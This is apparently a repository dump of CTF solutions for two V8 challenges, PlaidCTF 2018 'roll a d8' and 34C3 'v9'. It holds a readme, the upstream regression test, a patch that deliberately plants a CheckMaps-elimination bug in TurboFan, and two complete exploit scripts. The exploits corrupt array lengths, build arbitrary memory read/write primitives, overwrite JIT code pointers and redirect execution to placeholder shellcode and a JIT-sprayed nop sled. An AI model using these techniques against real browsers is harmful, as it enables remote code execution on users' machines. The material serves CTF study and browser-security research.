/roll-a-d8/pwn.js: -------------------------------------------------------------------------------- 1 | // 2 | // Tiny module that provides big (64bit) integers. 3 | // 4 | // Copyright (c) 2016 Samuel Groß 5 | // 6 | // Requires utils.js 7 | // 8 | 9 | // Datatype to represent 64-bit integers. 10 | // 11 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 12 | // 13 | // Utility functions. 14 | // 15 | // Copyright (c) 2016 Samuel Groß 16 | // 17 | 18 | // Return the hexadecimal representation of the given byte. 19 | function hex(b) { 20 | return ('0' + b.toString(16)).substr(-2); 21 | } 22 | 23 | // Return the hexadecimal representation of the given byte array. 24 | function hexlify(bytes) { 25 | var res = []; 26 | for (var i = 0; i < bytes.length; i++) 27 | res.push(hex(bytes[i])); 28 | 29 | return res.join(''); 30 | } 31 | 32 | // Return the binary data represented by the given hexdecimal string. 33 | function unhexlify(hexstr) { 34 | if (hexstr.length % 2 == 1) 35 | throw new TypeError("Invalid hex string"); 36 | 37 | var bytes = new Uint8Array(hexstr.length / 2); 38 | for (var i = 0; i < hexstr.length; i += 2) 39 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 40 | 41 | return bytes; 42 | } 43 | 44 | function hexdump(data) { 45 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 46 | data = Array.from(data); 47 | 48 | var lines = []; 49 | for (var i = 0; i < data.length; i += 16) { 50 | var chunk = data.slice(i, i+16); 51 | var parts = chunk.map(hex); 52 | if (parts.length > 8) 53 | parts.splice(8, 0, ' '); 54 | lines.push(parts.join(' ')); 55 | } 56 | 57 | return lines.join('\n'); 58 | } 59 | 60 | // Simplified version of the similarly named python module. 61 | var Struct = (function() { 62 | // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. 63 | var buffer = new ArrayBuffer(8); 64 | var byteView = new Uint8Array(buffer); 65 | var uint32View = new Uint32Array(buffer); 66 | var float64View = new Float64Array(buffer); 67 | 68 | return { 69 | pack: function(type, value) { 70 | var view = type; // See below 71 | view[0] = value; 72 | return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); 73 | }, 74 | 75 | unpack: function(type, bytes) { 76 | if (bytes.length !== type.BYTES_PER_ELEMENT) 77 | throw Error("Invalid bytearray"); 78 | 79 | var view = type; // See below 80 | byteView.set(bytes); 81 | return view[0]; 82 | }, 83 | 84 | // Available types. 85 | int8: byteView, 86 | int32: uint32View, 87 | float64: float64View 88 | }; 89 | })(); 90 | 91 | function Int64(v) { 92 | // The underlying byte array. 93 | var bytes = new Uint8Array(8); 94 | 95 | switch (typeof v) { 96 | case 'number': 97 | v = '0x' + Math.floor(v).toString(16); 98 | case 'string': 99 | if (v.startsWith('0x')) 100 | v = v.substr(2); 101 | if (v.length % 2 == 1) 102 | v = '0' + v; 103 | 104 | var bigEndian = unhexlify(v, 8); 105 | bytes.set(Array.from(bigEndian).reverse()); 106 | break; 107 | case 'object': 108 | if (v instanceof Int64) { 109 | bytes.set(v.bytes()); 110 | } else { 111 | if (v.length != 8) 112 | throw TypeError("Array must have excactly 8 elements."); 113 | bytes.set(v); 114 | } 115 | break; 116 | case 'undefined': 117 | break; 118 | default: 119 | throw TypeError("Int64 constructor requires an argument."); 120 | } 121 | 122 | // Return a double whith the same underlying bit representation. 123 | this.asDouble = function() { 124 | // Check for NaN 125 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) 126 | throw new RangeError("Integer can not be represented by a double"); 127 | 128 | return Struct.unpack(Struct.float64, bytes); 129 | }; 130 | 131 | // Return a javascript value with the same underlying bit representation. 132 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) 133 | // due to double conversion constraints. 134 | this.asJSValue = function() { 135 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) 136 | throw new RangeError("Integer can not be represented by a JSValue"); 137 | 138 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. 139 | this.assignSub(this, 0x1000000000000); 140 | var res = Struct.unpack(Struct.float64, bytes); 141 | this.assignAdd(this, 0x1000000000000); 142 | 143 | return res; 144 | }; 145 | 146 | this.lower = function() { 147 | return bytes[0] + 256 * bytes[1] + 256*256*bytes[2] + 256*256*256*bytes[3]; 148 | }; 149 | 150 | this.upper = function() { 151 | return bytes[4] + 256 * bytes[5] + 256*256*bytes[6] + 256*256*256*bytes[7]; 152 | }; 153 | 154 | // Return the underlying bytes of this number as array. 155 | this.bytes = function() { 156 | return Array.from(bytes); 157 | }; 158 | 159 | // Return the byte at the given index. 160 | this.byteAt = function(i) { 161 | return bytes[i]; 162 | }; 163 | 164 | // Return the value of this number as unsigned hex string. 165 | this.toString = function() { 166 | return '0x' + hexlify(Array.from(bytes).reverse()); 167 | }; 168 | 169 | // Basic arithmetic. 170 | // These functions assign the result of the computation to their 'this' object. 171 | 172 | // Decorator for Int64 instance operations. Takes care 173 | // of converting arguments to Int64 instances if required. 174 | function operation(f, nargs) { 175 | return function() { 176 | if (arguments.length != nargs) 177 | throw Error("Not enough arguments for function " + f.name); 178 | for (var i = 0; i < arguments.length; i++) 179 | if (!(arguments[i] instanceof Int64)) 180 | arguments[i] = new Int64(arguments[i]); 181 | return f.apply(this, arguments); 182 | }; 183 | } 184 | 185 | // this = -n (two's complement) 186 | this.assignNeg = operation(function neg(n) { 187 | for (var i = 0; i < 8; i++) 188 | bytes[i] = ~n.byteAt(i); 189 | 190 | return this.assignAdd(this, Int64.One); 191 | }, 1); 192 | 193 | // this = a + b 194 | this.assignAdd = operation(function add(a, b) { 195 | var carry = 0; 196 | for (var i = 0; i < 8; i++) { 197 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 198 | carry = cur > 0xff | 0; 199 | bytes[i] = cur; 200 | } 201 | return this; 202 | }, 2); 203 | 204 | // this = a - b 205 | this.assignSub = operation(function sub(a, b) { 206 | var carry = 0; 207 | for (var i = 0; i < 8; i++) { 208 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 209 | carry = cur < 0 | 0; 210 | bytes[i] = cur; 211 | } 212 | return this; 213 | }, 2); 214 | } 215 | 216 | // Constructs a new Int64 instance with the same bit representation as the provided double. 217 | Int64.fromDouble = function(d) { 218 | var bytes = Struct.pack(Struct.float64, d); 219 | return new Int64(bytes); 220 | }; 221 | 222 | // Convenience functions. These allocate a new Int64 to hold the result. 223 | 224 | // Return -n (two's complement) 225 | function Neg(n) { 226 | return (new Int64()).assignNeg(n); 227 | } 228 | 229 | // Return a + b 230 | function Add(a, b) { 231 | return (new Int64()).assignAdd(a, b); 232 | } 233 | 234 | // Return a - b 235 | function Sub(a, b) { 236 | return (new Int64()).assignSub(a, b); 237 | } 238 | 239 | // Some commonly used numbers. 240 | Int64.Zero = new Int64(0); 241 | Int64.One = new Int64(1); 242 | 243 | // modified from https://github.com/LiveOverflow/lo_nintendoswitch/blob/master/poc1.html#L36 244 | function gc() { 245 | var x = new Array(0x800); 246 | for(y = 0; y < x.length; y++) { 247 | x[y] = new Uint32Array(0x10000); 248 | } 249 | for(y = 0; y < x.length; y++) { 250 | x[y] = 0; 251 | } 252 | } 253 | 254 | // exploit for roll a d8, plaidctf 2018 255 | // implementing chrome nday (regress-821137.js) 256 | // https://github.com/v8/v8/blob/master/test/mjsunit/regress/regress-821137.js 257 | // stub V8_Dcheck 258 | 259 | let oobArray = []; 260 | 261 | let maxSize = 0x2000; 262 | let val = 1.0; 263 | console.log(oobArray.length); 264 | Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( 265 | { 266 | counter : 0, 267 | next() { 268 | this.counter += 1; 269 | if (this.counter > maxSize) { 270 | oobArray.length = 1; 271 | return {done: true}; 272 | } else { 273 | return {value: 1.234, done: false}; 274 | } 275 | } 276 | } 277 | ) }); 278 | 279 | // allocate the victim array 280 | var victim = new Uint16Array(23); 281 | var victim2 = new ArrayBuffer(25); 282 | 283 | // allocate a function object to use for our shellcode 284 | var victim_func = function(x, y) { 285 | return x + y; 286 | }; 287 | 288 | // make sure it will be jitted 289 | for(x = 0; x < 0x10; x++) { 290 | victim_func(); 291 | } 292 | 293 | // trigger a gc to clean up the array made during the Array.from 294 | // this will also move the victim and its 295 | gc(); 296 | 297 | // at this point the OldSpace heap is something like... 298 | // < oob array > 299 | // < ............. > 300 | // < arraybuffer > 301 | // < ............. > 302 | // < backing store > 303 | // < ............. > 304 | // < victim_func > 305 | // so we can directly pull out the array backing store pointer 306 | // and length 307 | 308 | 309 | // try to corrupt the typedarray length 310 | x = 0; 311 | while (x < 0x10) { 312 | if (oobArray[x] == 4.8805903192e-313) { 313 | // this is the length field 314 | oobArray[x] = 1.0440219291549e-310; // 0x1338/2 315 | } 316 | if (oobArray[x] == 9.76118063844e-313) { 317 | // this is the bytelength field 318 | oobArray[x] = 1.0440219291549e-310; // 0x1338 319 | } 320 | x += 1; 321 | } 322 | // at this point, we should have corrupted our victim array's length 323 | if (victim.length != 0x1338) { 324 | throw "couldn't corrupt victim length!"; 325 | } 326 | 327 | // scan through the victim for the array buffer, which we will use for r64/w64 328 | var backing_idx = -1; 329 | 330 | // there is a whole lot of bugginess around this loop because of IC 331 | x = 0; 332 | while (x < 50) { 333 | console.log(x + ": " + victim[x].toString(16)); 334 | if (victim[x] == 25) { 335 | console.log(victim[x]); 336 | // save off the guessed index for the backing store 337 | backing_idx = x + 1; 338 | break; 339 | } 340 | x += 1; 341 | } 342 | 343 | console.log("guessed backing idx: " + backing_idx); 344 | 345 | function r64(addr) { 346 | // set the backing ptr of the victim array, but allow 347 | // the caller to not change the current address 348 | if (addr != null) { 349 | for(x = 0; x < 4; x++) { 350 | victim[backing_idx + x] = addr[2*x] + (addr[2*x+1] << 8); 351 | victim[backing_idx + 4 + x] = victim[backing_idx + x]; 352 | } 353 | } 354 | 355 | // our view over the victim 356 | var victim_view = new Uint8Array(victim2); 357 | var mybytes = []; 358 | for (x = 0; x < 8; x++) { 359 | mybytes.push(victim_view[x]); 360 | } 361 | 362 | // read from victim array 363 | return new Int64(mybytes); 364 | } 365 | 366 | // try to find the JSFunction code pointer 367 | var codebytes = []; 368 | x = 0; 369 | while (x < 100) { 370 | console.log(x + ": " + victim[x].toString(16)); 371 | if (x >= 87 && x < 91) { 372 | codebytes.push(victim[x]); 373 | } 374 | x += 1; 375 | } 376 | 377 | // fix up bugginess from the broken r/w 378 | var jitbuf = new Array(8); 379 | jitbuf[2] = codebytes[1] & 0xFF; 380 | jitbuf[3] = codebytes[1] >> 8; 381 | jitbuf[4] = codebytes[2] & 0xFF; 382 | jitbuf[5] = codebytes[2] >> 8; 383 | jitbuf[6] = codebytes[3] & 0xFF; 384 | jitbuf[7] = codebytes[3] >> 8; 385 | 386 | function writen(addr, data) { 387 | // set the backing ptr of the victim array, but allow 388 | // the caller to not change the current address 389 | if (addr != null) { 390 | for(x = 0; x < 4; x++) { 391 | victim[backing_idx + x] = addr[2*x] + (addr[2*x+1] << 8); 392 | victim[backing_idx + 4 + x] = victim[backing_idx + x]; 393 | } 394 | } 395 | // our view over the victim 396 | var victim_view = new Uint8Array(victim2); 397 | // write over it 398 | for(x = 0; x < data.length; x++) { 399 | console.log(victim_view[x].toString(16)); 400 | victim_view[x] = data[x]; 401 | } 402 | } 403 | 404 | // shellcode buffer 405 | var sc = new Array(0x10); 406 | sc.fill(0x41); 407 | sc[0] = 0xcc; 408 | sc[2] = 0xcc; 409 | 410 | // we want to write somewhere near the end of the jitbuffer 411 | jitbuf[4] += 6; // adds 0x60000 412 | 413 | // we need to write 0x60 bytes ahead of our address 414 | jitbuf[2] += 0x60; 415 | 416 | writen(jitbuf, sc); 417 | 418 | // do a pass to update the jitbuf pointer 419 | var codebytes = []; 420 | x = 0; 421 | while (x < 100) { 422 | var y = victim[x]; 423 | victim[x] = jitbuf[4] + (jitbuf[5] << 8); 424 | if (x != 89) { 425 | victim[x] = y; 426 | } 427 | x += 1; 428 | } 429 | 430 | console.log("------------------------------------------"); 431 | 432 | console.log("jumping to " + new Int64(jitbuf).toString(16)); 433 | // trigger shellcode execution 434 | victim_func(); 435 | 436 | //readline(); -------------------------------------------------------------------------------- /roll-a-d8/readme.txt: -------------------------------------------------------------------------------- 1 | Roll a d8 and win your game. 2 | 3 | Last year, hackers successfully exploited Chakrazy. This time, we came back with d8 powered by V8 JavaScript engine. 4 | 5 | You can download relevant material here. 6 | 7 | This might only be helpful to Google employees... or is it? https://crbug.com/821137 8 | -------------------------------------------------------------------------------- /roll-a-d8/regress-821137.js: -------------------------------------------------------------------------------- 1 | // Copyright 2018 the V8 project authors. All rights reserved. 2 | // Use of this source code is governed by a BSD-style license that can be 3 | // found in the LICENSE file. 4 | // Tests that creating an iterator that shrinks the array populated by 5 | // Array.from does not lead to out of bounds writes. 6 | let oobArray = []; 7 | let maxSize = 1028 * 8; 8 | Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => ( 9 | { 10 | counter : 0, 11 | next() { 12 | let result = this.counter++; 13 | if (this.counter > maxSize) { 14 | oobArray.length = 0; 15 | return {done: true}; 16 | } else { 17 | return {value: result, done: false}; 18 | } 19 | } 20 | } 21 | ) }); 22 | assertEquals(oobArray.length, maxSize); 23 | // iterator reset the length to 0 just before returning done, so this will crash 24 | // if the backing store was not resized correctly. 25 | oobArray[oobArray.length - 1] = 0x41414141; 26 | -------------------------------------------------------------------------------- /v9/pwn.js: -------------------------------------------------------------------------------- 1 | // 2 | // Tiny module that provides big (64bit) integers. 3 | // 4 | // Copyright (c) 2016 Samuel Groß 5 | // 6 | // Requires utils.js 7 | // 8 | 9 | // Datatype to represent 64-bit integers. 10 | // 11 | // Internally, the integer is stored as a Uint8Array in little endian byte order. 12 | // 13 | // Utility functions. 14 | // 15 | // Copyright (c) 2016 Samuel Groß 16 | // 17 | 18 | // Return the hexadecimal representation of the given byte. 19 | function hex(b) { 20 | return ('0' + b.toString(16)).substr(-2); 21 | } 22 | 23 | // Return the hexadecimal representation of the given byte array. 24 | function hexlify(bytes) { 25 | var res = []; 26 | for (var i = 0; i < bytes.length; i++) 27 | res.push(hex(bytes[i])); 28 | 29 | return res.join(''); 30 | } 31 | 32 | // Return the binary data represented by the given hexdecimal string. 33 | function unhexlify(hexstr) { 34 | if (hexstr.length % 2 == 1) 35 | throw new TypeError("Invalid hex string"); 36 | 37 | var bytes = new Uint8Array(hexstr.length / 2); 38 | for (var i = 0; i < hexstr.length; i += 2) 39 | bytes[i/2] = parseInt(hexstr.substr(i, 2), 16); 40 | 41 | return bytes; 42 | } 43 | 44 | function hexdump(data) { 45 | if (typeof data.BYTES_PER_ELEMENT !== 'undefined') 46 | data = Array.from(data); 47 | 48 | var lines = []; 49 | for (var i = 0; i < data.length; i += 16) { 50 | var chunk = data.slice(i, i+16); 51 | var parts = chunk.map(hex); 52 | if (parts.length > 8) 53 | parts.splice(8, 0, ' '); 54 | lines.push(parts.join(' ')); 55 | } 56 | 57 | return lines.join('\n'); 58 | } 59 | 60 | // Simplified version of the similarly named python module. 61 | var Struct = (function() { 62 | // Allocate these once to avoid unecessary heap allocations during pack/unpack operations. 63 | var buffer = new ArrayBuffer(8); 64 | var byteView = new Uint8Array(buffer); 65 | var uint32View = new Uint32Array(buffer); 66 | var float64View = new Float64Array(buffer); 67 | 68 | return { 69 | pack: function(type, value) { 70 | var view = type; // See below 71 | view[0] = value; 72 | return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT); 73 | }, 74 | 75 | unpack: function(type, bytes) { 76 | if (bytes.length !== type.BYTES_PER_ELEMENT) 77 | throw Error("Invalid bytearray"); 78 | 79 | var view = type; // See below 80 | byteView.set(bytes); 81 | return view[0]; 82 | }, 83 | 84 | // Available types. 85 | int8: byteView, 86 | int32: uint32View, 87 | float64: float64View 88 | }; 89 | })(); 90 | 91 | function Int64(v) { 92 | // The underlying byte array. 93 | var bytes = new Uint8Array(8); 94 | 95 | switch (typeof v) { 96 | case 'number': 97 | v = '0x' + Math.floor(v).toString(16); 98 | case 'string': 99 | if (v.startsWith('0x')) 100 | v = v.substr(2); 101 | if (v.length % 2 == 1) 102 | v = '0' + v; 103 | 104 | var bigEndian = unhexlify(v, 8); 105 | bytes.set(Array.from(bigEndian).reverse()); 106 | break; 107 | case 'object': 108 | if (v instanceof Int64) { 109 | bytes.set(v.bytes()); 110 | } else { 111 | if (v.length != 8) 112 | throw TypeError("Array must have excactly 8 elements."); 113 | bytes.set(v); 114 | } 115 | break; 116 | case 'undefined': 117 | break; 118 | default: 119 | throw TypeError("Int64 constructor requires an argument."); 120 | } 121 | 122 | // Return a double whith the same underlying bit representation. 123 | this.asDouble = function() { 124 | // Check for NaN 125 | if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe)) 126 | throw new RangeError("Integer can not be represented by a double"); 127 | 128 | return Struct.unpack(Struct.float64, bytes); 129 | }; 130 | 131 | // Return a javascript value with the same underlying bit representation. 132 | // This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000) 133 | // due to double conversion constraints. 134 | this.asJSValue = function() { 135 | if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff)) 136 | throw new RangeError("Integer can not be represented by a JSValue"); 137 | 138 | // For NaN-boxing, JSC adds 2^48 to a double value's bit pattern. 139 | this.assignSub(this, 0x1000000000000); 140 | var res = Struct.unpack(Struct.float64, bytes); 141 | this.assignAdd(this, 0x1000000000000); 142 | 143 | return res; 144 | }; 145 | 146 | this.lower = function() { 147 | return bytes[0] + 256 * bytes[1] + 256*256*bytes[2] + 256*256*256*bytes[3]; 148 | }; 149 | 150 | this.upper = function() { 151 | return bytes[4] + 256 * bytes[5] + 256*256*bytes[6] + 256*256*256*bytes[7]; 152 | }; 153 | 154 | // Return the underlying bytes of this number as array. 155 | this.bytes = function() { 156 | return Array.from(bytes); 157 | }; 158 | 159 | // Return the byte at the given index. 160 | this.byteAt = function(i) { 161 | return bytes[i]; 162 | }; 163 | 164 | // Return the value of this number as unsigned hex string. 165 | this.toString = function() { 166 | return '0x' + hexlify(Array.from(bytes).reverse()); 167 | }; 168 | 169 | // Basic arithmetic. 170 | // These functions assign the result of the computation to their 'this' object. 171 | 172 | // Decorator for Int64 instance operations. Takes care 173 | // of converting arguments to Int64 instances if required. 174 | function operation(f, nargs) { 175 | return function() { 176 | if (arguments.length != nargs) 177 | throw Error("Not enough arguments for function " + f.name); 178 | for (var i = 0; i < arguments.length; i++) 179 | if (!(arguments[i] instanceof Int64)) 180 | arguments[i] = new Int64(arguments[i]); 181 | return f.apply(this, arguments); 182 | }; 183 | } 184 | 185 | // this = -n (two's complement) 186 | this.assignNeg = operation(function neg(n) { 187 | for (var i = 0; i < 8; i++) 188 | bytes[i] = ~n.byteAt(i); 189 | 190 | return this.assignAdd(this, Int64.One); 191 | }, 1); 192 | 193 | // this = a + b 194 | this.assignAdd = operation(function add(a, b) { 195 | var carry = 0; 196 | for (var i = 0; i < 8; i++) { 197 | var cur = a.byteAt(i) + b.byteAt(i) + carry; 198 | carry = cur > 0xff | 0; 199 | bytes[i] = cur; 200 | } 201 | return this; 202 | }, 2); 203 | 204 | // this = a - b 205 | this.assignSub = operation(function sub(a, b) { 206 | var carry = 0; 207 | for (var i = 0; i < 8; i++) { 208 | var cur = a.byteAt(i) - b.byteAt(i) - carry; 209 | carry = cur < 0 | 0; 210 | bytes[i] = cur; 211 | } 212 | return this; 213 | }, 2); 214 | } 215 | 216 | // Constructs a new Int64 instance with the same bit representation as the provided double. 217 | Int64.fromDouble = function(d) { 218 | var bytes = Struct.pack(Struct.float64, d); 219 | return new Int64(bytes); 220 | }; 221 | 222 | // Convenience functions. These allocate a new Int64 to hold the result. 223 | 224 | // Return -n (two's complement) 225 | function Neg(n) { 226 | return (new Int64()).assignNeg(n); 227 | } 228 | 229 | // Return a + b 230 | function Add(a, b) { 231 | return (new Int64()).assignAdd(a, b); 232 | } 233 | 234 | // Return a - b 235 | function Sub(a, b) { 236 | return (new Int64()).assignSub(a, b); 237 | } 238 | 239 | // Some commonly used numbers. 240 | Int64.Zero = new Int64(0); 241 | Int64.One = new Int64(1); 242 | 243 | // modified from https://github.com/LiveOverflow/lo_nintendoswitch/blob/master/opc1.html#L36 244 | function gc() { 245 | var x = new Array(0x800); 246 | for(y = 0; y < x.length; y++) { 247 | x[y] = new Uint32Array(0x10000); 248 | } 249 | for(y = 0; y < x.length; y++) { 250 | x[y] = 0; 251 | } 252 | } 253 | 254 | // exploit for v9, 34c3ctf 255 | // it is a jit bug in turbofan 256 | // https://github.com/saelo/v9 257 | // note that I target v8 7.0.276.28, not 258 | // the earlier version that the challenge 259 | // originally was released with 260 | console.log("hello world"); 261 | 262 | // it seems like the CheckMaps guard is killed by the reducer 263 | // in the case where the second object has a map that is strictly 264 | // a superset of the first map. However, it seems like there are 265 | // some operations where we don't care about whether some attribute 266 | // exists, but rather possibly the number of attributes or something 267 | // like that. need to investigate more with turbolizer 268 | 269 | // could it be that if you have a function that is trained to take 270 | // two objects of the same type, you could cause a simple type confusion 271 | // by then passing an object of a different type? 272 | 273 | // CheckMaps jit node shows up in the effects linearization stage, because 274 | // it is technically a jit effect 275 | 276 | // spooky.length == 32 277 | const spooky = [ 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1 ]; 278 | var len = spooky.length; 279 | spooky_val = [1.1, 2.2, 3.3]; 280 | 281 | Object.defineProperty(spooky, "blah", { 282 | get: function() { 283 | console.log("triggered getter"); 284 | this.length = len; 285 | }, 286 | }); 287 | 288 | // This will become the arraybuffer whose length we want to corrupt 289 | var victim = undefined; 290 | 291 | // The bug ends up arising here because we train the function on PACKED_DOUBLE_ELEMENTS, 292 | // so the second CheckMaps is killed. Afterwards, we transition the function to 293 | // DICTIONARY_ELEMENTS which causes it to 294 | function jitme(obj, key, key2, val, key3) { 295 | // CheckMaps here operates as if this is type PACKED_SMI_ELEMENTS 296 | obj[key] = 1.1; 297 | 298 | // This sets the length of the object, making it holey 299 | obj["blah"]; 300 | 301 | // Set up our victim arraybuffer. We want it to be PACKED_DOUBLE_ELEMENTS 302 | victim = [ 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1, 1.1 ]; 303 | 304 | // At this point, obj is of type DICTIONARY_ELEMENTS, but the JIT thinks it is PACKED 305 | 306 | // This will be used to clobber the victim lengths 307 | obj[key2] = val; 308 | obj[key3] = val; 309 | 310 | // Make sure the function is jitted 311 | for(j = 0; j < 0x10000; j++) {} 312 | 313 | return []; 314 | } 315 | 316 | jitme(spooky, 0, 3, 1.1, 3); 317 | 318 | console.log("beginning buggy process"); 319 | 320 | // Force a conversion to DICTIONARY_ELEMENTS 321 | spooky.length = 1; 322 | len = 0x7f000000+1; 323 | 324 | // This will hit the byteLength of our victim arraybuffer 325 | //console.log(jitme(spooky, 0, 0x7f000000, 4.345847379897e-311, 0x7f000000)); 326 | console.log(jitme(spooky, 0, 0x1d, 4.345847379897e-311, 0x29)); 327 | console.log("exited jitme"); 328 | 329 | // Make sure we clobbered the right length 330 | if (victim.length != 0x800) { 331 | readline(); 332 | throw "didn't clobber victim byteLength!" 333 | } 334 | 335 | // Set up our function with shellcode constant blinding 336 | function sc_func(x, y) { 337 | 338 | // JIT spray - this example is a nop sled ending in int3 339 | // Point is to prove that we are generating code of the form 340 | // 01: xor eax, 0x01eb9090 341 | // 06: xor eax, 0x01eb9090 342 | // 0b: xor eax, 0x01eb9090 343 | // ... etc ... 344 | var mynum = x ^ 345 | 0x23840952 ^ 346 | 0x01eb9090 ^ 347 | 0x01eb9090 ^ 348 | 0x01eb9090 ^ 349 | 0x01eb9090 ^ 350 | 0x01eb9090 ^ 351 | 0x01eb9090 ^ 352 | 0x01eb9090 ^ 353 | 0x01eb9090 ^ 354 | 0x01eb9090 ^ 355 | 0x01eb9090 ^ 356 | 0x01eb9090 ^ 357 | 0x01eb9090 ^ 358 | 0x01eb9090 ^ 359 | 0x01eb9090 ^ 360 | 0x01eb9090 ^ 361 | 0xcccccccc ^ 362 | 0x23840952 ^ 363 | 0x23840952; 364 | 365 | return mynum + y; 366 | } 367 | 368 | // jit the function 369 | for(x = 0; x < 0x10000; x++) { 370 | sc_func(x, x+1); 371 | } 372 | 373 | // Everything after this point is mostly straightforward 374 | var manipulate = new ArrayBuffer(0x128); 375 | var leak_addr = {x : manipulate, y: 0x41414141, z: sc_func}; 376 | 377 | //%DebugPrint(victim); 378 | //%DebugPrint(manipulate); 379 | //%DebugPrint(leak_addr); 380 | 381 | // Find leak_addr.y, which is a FastProperty directly after x 382 | var manip_idx = victim.indexOf(2261634.0) - 1; // 0x41414141 383 | console.log("manip_idx is " + manip_idx); 384 | 385 | // Find manipulate itself 386 | console.log("manipulate is at " + Int64.fromDouble(victim[manip_idx])); 387 | 388 | // Grab the index for manipulate's backing store 389 | var bs_idx = victim.indexOf(6.281107541257e-312) + 1; // 0x128 390 | console.log("manipulate backing store idx is " + bs_idx); 391 | 392 | // Create r64/w64 393 | function r64(addr) { 394 | victim[bs_idx] = addr.asDouble(); 395 | var myview = new Float64Array(manipulate); 396 | return Int64.fromDouble(myview[0]); 397 | } 398 | 399 | function writen(addr, data) { 400 | victim[bs_idx] = addr.asDouble(); 401 | var myview = new Uint8Array(manipulate); 402 | for(x = 0; x < data.length; x++) { 403 | myview[x] = data[x]; 404 | } 405 | } 406 | 407 | // Grab the function object 408 | var func_idx = victim.indexOf(2261634.0) + 1; 409 | var func_addr = Int64.fromDouble(victim[func_idx]); 410 | 411 | // Grab the code object 412 | var code_loc = Add(func_addr, new Int64(0x2f)); 413 | var code_addr = r64(code_loc); 414 | console.log(code_addr); 415 | 416 | // v8 will jump to code_addr + 0x3f 417 | 418 | // our jit spray starts at 0xb6 of the jit page 419 | 420 | // Write over the code pointer 421 | writen(code_loc, Add(code_addr, new Int64(0x7c)).bytes()); 422 | console.log(r64(code_loc)); 423 | 424 | //%DebugPrint(leak_addr.z); 425 | 426 | // Invoke the function 427 | console.log("going into function call"); 428 | leak_addr.z(1, 2); 429 | console.log("done!"); 430 | readline(); -------------------------------------------------------------------------------- /v9/readme-v9.txt: -------------------------------------------------------------------------------- 1 | v9 2 | -- 3 | 4 | The patch should apply cleanly to the latest (as of 12/26/2017 -- see https://omahaproxy.appspot.com/) release version of Chromium (63.0.3239.108) and v8 (6.3.292.48). The v9_7.0.patch should apply cleanly to v8 version 7.0.276.28. 5 | 6 | To obtain a local copy of the v8 source code do the following: 7 | 8 | mkdir v9 && cd v9 9 | fetch v8 && cd v8 # see https://github.com/v8/v8/wiki/Building-from-Source 10 | git checkout 6.3.292.48 11 | gclient sync 12 | patch -p1 < /path/to/v9.patch 13 | ./tools/dev/v8gen.py x64.debug 14 | ninja -C out.gn/x64.debug 15 | 16 | You can also build Chromium from souce, although it should not be required to solve the challenge. Use git tag 63.0.3239.108 for that and see https://chromium.googlesource.com/chromium/src/+/lkcr/docs/linux_build_instructions.md. 17 | 18 | I used the following args.gn file: 19 | 20 | is_debug = false 21 | symbol_level = 2 22 | 23 | The chrome binary in the release package has been stripped. However, you can download the fully symbolized (5.2GB) binary from https://34c3ctf.ccc.ac/uploads/chrome-df7710b0d52079fed45c39a9157a22390505bb68.elf. 24 | 25 | The dockerimage/ directory contains everything you need to reproduce the container setup that is used by the challenge server. The server will start chromium like this: `chromium-browser --headless --disable-gpu --no-sandbox --virtual-time-budget=60000 $URL`. The container is given 2 cores and 8GB of RAM. 26 | -------------------------------------------------------------------------------- /v9/v9_7.0.patch: -------------------------------------------------------------------------------- 1 | diff --git a/src/compiler/redundancy-elimination.cc b/src/compiler/redundancy-elimination.cc 2 | index 5ecef0408b..53b175c8b5 100644 3 | --- a/src/compiler/redundancy-elimination.cc 4 | +++ b/src/compiler/redundancy-elimination.cc 5 | @@ -26,6 +26,7 @@ Reduction RedundancyElimination::Reduce(Node* node) { 6 | case IrOpcode::kCheckHeapObject: 7 | case IrOpcode::kCheckIf: 8 | case IrOpcode::kCheckInternalizedString: 9 | + case IrOpcode::kCheckMaps: 10 | case IrOpcode::kCheckNotTaggedHole: 11 | case IrOpcode::kCheckNumber: 12 | case IrOpcode::kCheckReceiver: 13 | @@ -167,6 +168,15 @@ bool CheckSubsumes(Node const* a, Node const* b) { 14 | } 15 | break; 16 | } 17 | + case IrOpcode::kCheckMaps: { 18 | + // CheckMaps are compatible if the first checks a subset of the second. 19 | + ZoneHandleSet const& a_maps = CheckMapsParametersOf(a->op()).maps(); 20 | + ZoneHandleSet const& b_maps = CheckMapsParametersOf(b->op()).maps(); 21 | + if (!b_maps.contains(a_maps)) { 22 | + return false; 23 | + } 24 | + break; 25 | + } 26 | default: 27 | DCHECK(!IsCheckedWithFeedback(a->op())); 28 | return false; 29 | --------------------------------------------------------------------------------